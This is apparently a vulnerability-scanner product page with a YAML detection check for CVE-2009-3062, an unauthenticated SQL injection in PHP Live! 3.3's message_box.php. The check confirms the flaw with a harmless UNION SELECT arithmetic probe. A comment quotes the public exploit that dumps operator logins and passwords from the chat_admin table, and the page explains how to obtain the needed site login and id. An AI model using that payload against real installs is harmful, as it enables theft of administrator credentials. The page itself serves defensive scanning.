PHP Live! — 1 vulnerability check
noctis ships 1 vulnerability check for PHP Live!, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
PHP Live! message_box.php deptid SQL Injection
| CVE | CVE-2009-3062 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phplive/CVE-2009-3062.yaml |
PHP Live! 3.3, a live-chat support application, puts the deptid parameter of message_box.php unquoted into an SQL query and prints the row it returns, allowing unauthenticated SQL injection (an attacker can read the whole database, operator logins and passwords included).
This check looks for the "Powered by PHP Live!" footer on index.php under /phplive, /support and the web root, and reads the site login and site id that the home page's PHP Live! chat button passes to the application. On a PHP Live! install it requests message_box.php with that login and id and a deptid that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request; no table data is read and nothing is written. When the injection cannot be confirmed (for example no chat button is found on the home page) but the footer reports version 3.3, the only release known to be affected, a version-based finding is reported instead.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/message_box.php?theme=&l={{site.l}}&x={{site.x}}&deptid={{sc.q}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: PHP Live! message_box.php deptid SQL Injection (CVE-2009-3062) - Checks
ver_hitfor^/→ finding QoD 70: PHP Live! 3.3 message_box.php deptid SQL Injection (CVE-2009-3062, version check)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-3062
- https://www.exploit-db.com/exploits/9578
- http://www.securityfocus.com/bid/36226
Feed source — tests/vulnerabilities/phplive/CVE-2009-3062.yaml
# PHP Live! 3.3 — message_box.php 'deptid' SQL injection — CVE-2009-3062
#
# message_box.php?theme=&l=<site login>&x=<site id>&deptid=<id> puts deptid
# unquoted into an 18-column SELECT on the department table and prints the row.
# Public PoC (EDB-9578):
# message_box.php?theme=&l=[username]&x=[xxx]&deptid=-999999+union+select+0,…,0,
# group_concat(login,char(58),password),0,0+from+chat_admin--
# The l / x pair names the PHP Live! site account; it is public, embedded in the
# chat button code (status_image.php?base_url=…&l=<login>&x=<id>&deptid=…) that
# a site puts on its pages.
#
# Detection:
# - QoD 97: on a PHP Live! install ("Powered by <a …>PHP Live!" on index.php under
# /phplive, /support or the web root), deptid = -999999 union select C,…,C-- -
# (18 columns) with C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random a, b,
# using the l / x pair harvested from the home page's chat button code (l empty,
# x = 1 when none is found). The product a*b is never in the request, so only an
# SQL engine that evaluated the expression returns "NOCTIS<a*b>END". No table is
# referenced, nothing is written.
# - QoD 70 fallback: the footer version is exactly 3.3 (the only release listed as
# affected) and the injection could not be confirmed (e.g. no chat button code
# found, so no valid l / x).
#
# Better than the source NASL (version-only check: footer version == 3.3):
# - real exploitation proof with a database-computed value (QoD 97) where the NASL
# only reads the version;
# - the PoC's trailing "--" is replaced by "-- -", which comments the rest of the
# query on every MySQL/MariaDB version;
# - the version is read next to the "PHP Live!" footer, not from the first
# "v<digits>" anywhere in the page.
#
# Source: OpenVAS/Greenbone NVT 2009/phplive_36226.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100303) with phplive_detect.nasl (OID …100302),
# GPL-2.0-only.
uid: 60bbba2b-d4ca-4e1f-b977-924bb3861cce
name: "PHP Live! message_box.php deptid SQL Injection (CVE-2009-3062)"
description: |
PHP Live! 3.3, a live-chat support application, puts the deptid parameter of
message_box.php unquoted into an SQL query and prints the row it returns,
allowing unauthenticated SQL injection (an attacker can read the whole database,
operator logins and passwords included).
This check looks for the "Powered by PHP Live!" footer on index.php under
/phplive, /support and the web root, and reads the site login and site id that
the home page's PHP Live! chat button passes to the application. On a PHP Live!
install it requests message_box.php with that login and id and a deptid that is
a UNION SELECT of an expression multiplying two random numbers. The
vulnerability is confirmed when the page returns the product computed by the
database, which never appears in the request; no table data is read and nothing
is written. When the injection cannot be confirmed (for example no chat button
is found on the home page) but the footer reports version 3.3, the only release
known to be affected, a version-based finding is reported instead.
cves: [CVE-2009-3062]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.20
tags: [phplive, live-chat, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-3062"
- "https://www.exploit-db.com/exploits/9578"
- "http://www.securityfocus.com/bid/36226"
# OpenVAS/Greenbone NASL 2009/phplive_36226.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected marker and the encoded deptid value ─────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
let cols = c;
for i in 1..18 { cols += "," + c; }
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q: "-999999%20union%20select%20" + cols + "--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
- id: init-ver-hit
action: set_var
var_name: ver_hit
var_value: ""
- id: init-home
action: set_var
var_name: home
var_value: {status: 0, body: ""}
# ── Site login / id from the home page's chat button code ─────────────────
- id: fetch-home
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
store_as: home
- id: harvest-site
action: script
code: |
let body = if type_of(home.body) == "string" { home.body } else { "" };
let l = "";
let x = "1";
// only the query string of the PHP Live! button / chat URLs, never another link
let u = eregmatch("(?i)(?:status_image|request|message_box)\\.php\\?([^\"'<>\\s]+)", body);
if u.len() == 2 {
let ml = eregmatch("(?:^|[&;])l=([A-Za-z0-9_.@-]+)", u[1]);
let mx = eregmatch("(?:^|[&;])x=([0-9]+)", u[1]);
if ml.len() == 2 { l = ml[1]; }
if mx.len() == 2 { x = mx[1]; }
}
#{ l: l, x: x }
store_as: site
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/phplive", "/support", ""]
- id: init-probe-resp
action: set_var
var_name: pl_resp
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: landing
- id: fingerprint
action: script
condition: 'hit_dir == ""'
code: |
let body = if type_of(landing.body) == "string" { landing.body } else { "" };
if egrep("Powered by <a [^>]+>PHP (?:<i>)*Live!", body, true) == "" {
#{ found: false, version: "" }
} else {
let v = eregmatch("(?is)PHP (?:<i>)*Live!.{0,80}?\\bv([0-9]+(?:\\.[0-9]+)+)", body);
let ver = if v.len() == 2 { v[1] } else { "unknown" };
#{ found: true, version: ver }
}
store_as: fp
- id: union-probe
action: http_request
method: GET
path: "{{dir}}/message_box.php?theme=&l={{site.l}}&x={{site.x}}&deptid={{sc.q}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && fp.found == true'
store_as: pl_resp
- id: check-product
action: script
condition: 'hit_dir == "" && fp.found == true'
code: |
let body = if type_of(pl_resp.body) == "string" { pl_resp.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
- id: check-version
action: script
condition: 'hit_dir == "" && ver_hit == "" && fp.found == true'
code: |
if fp.version == "3.3" { if dir == "" { "/" } else { dir } } else { "" }
store_as: ver_hit
# ── Findings ──────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "PHP Live! message_box.php deptid SQL Injection (CVE-2009-3062)"
description: "An unauthenticated request to message_box.php with deptid set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: deptid reaches the SQL query unquoted, so an attacker can read the whole database (operator logins and passwords included)."
remediation: "Upgrade PHP Live! to a current release, or make message_box.php cast deptid (and x) to an integer before building the query; restrict access to the application until then."
confidence_delta: 0.77
qod: 97
evidence: "install dir {{hit_dir}}: message_box.php?theme=&l={{site.l}}&x={{site.x}}&deptid=-999999 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (18 columns)-- - returned the database-computed value {{sc.want}}"
stop: true
- id: report-version
action: match
source: ver_hit
pattern: "^/"
on_match:
finding:
title: "PHP Live! 3.3 message_box.php deptid SQL Injection (CVE-2009-3062, version check)"
description: "The PHP Live! footer reports version 3.3, the release whose message_box.php puts deptid unquoted into an SQL query. The injection itself could not be confirmed (for example no chat button code giving the site login and id was found on the home page), so this finding rests on the reported version only."
remediation: "Upgrade PHP Live! to a current release, or make message_box.php cast deptid (and x) to an integer before building the query; restrict access to the application until then."
confidence_delta: 0.50
qod: 70
evidence: "install dir {{ver_hit}}: index.php footer \"Powered by PHP Live!\" reports version 3.3"
stop: true